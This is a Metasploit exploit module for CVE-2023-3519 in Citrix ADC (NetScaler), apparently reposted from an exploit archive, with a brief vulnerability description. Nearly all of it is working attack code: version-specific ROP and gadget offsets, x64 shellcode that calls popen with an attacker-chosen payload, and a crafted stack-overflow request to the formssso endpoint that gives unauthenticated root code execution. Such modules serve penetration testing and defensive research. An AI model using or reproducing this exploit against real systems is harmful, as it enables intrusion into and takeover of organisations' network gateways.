Authored by Ron Bowes, Spencer McIntyre, Douglass McKee | Site metasploit.com

A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in remote code execution as root.

advisories | CVE-2023-3519

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',
'Description' => %q{
A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer
overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in
remote code execution as root.
},
'Author' => [
'Ron Bowes', # Analysis and module
'Douglass McKee', # Analysis and module
'Spencer McIntyre', # Just the module
],
'References' => [
['CVE', '2023-3519'],
['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'],
['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467']
],
'DisclosureDate' => '2023-07-18',
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'Payload' => {
# at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment']
'Space' => 2048,
'DisableNops' => true
},
'Targets' => [
[
'Citrix ADC 13.1-48.47',
{
'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x13a8,
'popen' => 0x01da6340,
'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp
'return_offset' => 168
},
],
[
'Citrix ADC 13.1-37.38',
{
'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x13a8,
'popen' => 0x01d7e320,
'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback
'return_offset' => 168
},
],
[
'Citrix ADC 13.0-91.12',
{
'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x12e0,
# in this version the epilogue of ns_aaa_cookie_valid reads directly from rbp and since the exploit
# clobbers it, the value needs to be restored
'fixup_rbp_adjustment' => 0x190,
'popen' => 0x01f42ec0,
'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic
'return_offset' => 168
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'WfsDelay' => 10
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html')
})

return CheckCode::Unknown if res.nil?

return CheckCode::Safe unless res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/

CheckCode::Detected
end

def exploit
shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: target)).encode_string
call loc_popen_arg1
; add this to the path for python payloads
db "export PATH=/var/python/bin:$PATH;"
db "#{Rex::Text.to_hex(payload.encoded)}", 0
loc_popen_arg1:
pop rdi

call loc_popen_arg2
db "r", 0
loc_popen_arg2:
pop rsi

mov rax, <%= target['popen'] %>
sub rsp, 0x200
call rax

loc_return:
xor rax, rax
add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %>
<% if target['fixup_rbp_adjustment'] %>
mov rbp, rsp
add rbp, <%= target['fixup_rbp_adjustment'] %>
<% end %>
push <%= target['fixup_return'] %>
ret
SHELLCODE

buffer = rand_text_alphanumeric(target['return_offset'])
buffer << [target['return']].pack('Q')
buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join

send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'),
'encode_params' => false, # we'll encode them ourselves
'vars_get' => {
'event' => 'start',
'target' => buffer
}
})
end

class Template
def self.render(template, context = nil)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
when NilClass
b = binding
else
raise ArgumentError
end

b.eval(Erubi::Engine.new(template).src)
end
end
end